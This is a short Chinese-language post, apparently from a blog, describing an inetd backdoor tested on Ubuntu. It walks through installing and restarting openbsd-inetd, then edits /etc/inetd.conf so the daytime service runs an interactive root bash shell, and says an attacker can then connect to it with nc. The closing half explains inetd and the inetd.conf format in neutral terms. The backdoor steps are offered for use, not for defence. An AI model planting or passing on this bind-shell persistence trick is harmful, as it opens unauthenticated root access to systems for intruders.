这个需要一定的条件
在Ubuntu 这个测试 成功
Linux ubuntu 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
这个需要的条件是
开启inetd
开启方式
下载
apt-get install openbsd-inetd
直接输入
dawg:~# inetd
如果要强制重启inetd:
dawg:~# ps -ef | grep inetd
root 362 1 0 Jul22 ? 00:00:00 /usr/sbin/inetd
root 13769 13643 0 17:51 pts/1 00:00:00 grep inetd
dawg:~# kill -HUP 362
利用很简单 只需用vim来修改 /etc/inetd.conf 文件
就能用nc来连接shell了
原文件:
#chargen dgram udp wait root internal
#discard stream tcp nowait root internal
#discard dgram udp wait root internal
#daytime stream tcp nowait root internal
修改为
#discard stream tcp nowait root internal
#discard dgram udp wait root internal
daytime stream tcp nowait root /bin/bash bash -i
开启 inetd 就能用nc连接了
这个连接 任意端口(未占用的)就行
介绍一些相关文件
inetd是监视一些网络请求的守护进程,其根据网络请求来调用相应的服务进程来处理连接请求。它可以为多种服务管理连接,当 inetd 接到连接时,它能够确定连接所需的程序,启动相应的进程,并把 socket 交给它 (服务 socket 会作为程序的标准输入、 输出和错误输出描述符)。 使用 inetd 来运行那些负载不重的服务有助于降低系统负载,因为它不需要为每个服务都启动独立的服务程序。
inetd.conf文件说明
文件位置: /etc/inetd.conf
名称: TCPIP inetd.conf
全称:Internet configuration database
说明:在这个文件中,你可以添加或删除一个服务,或是在一行前增加一个注释符(如’#’).如果inetd进程在SRC控制下运行,则运行refresh -s inetd命令来让inetd进程重新读取inetd.conf文件中的配置信息.
TCP/IP服务器不需要SRC控制,它们可以通过直接调用服务来启动(比如 /etc/inetd)。如果inetd是被直接启动的,那么修改了这个文件之后,发送一个hangup信号系统即SIGHUP到inetd进程(kill -1 “pid of inetd”)
通过”sunrpc_tcp”和”sunrpc_udp”套接口工作的服务需要端口映射(portmap)守护进程处于运行状态。
使用##来指明文件中的注释部分,这样smit命令就可以正确的编辑这个文档了。
在使用IPv6服务的时候,必须对这项服务指明是”tcp6”协议或是”udp6”协议,对于IPv4来说,用”tcp”和”udp”来申明相应的设置。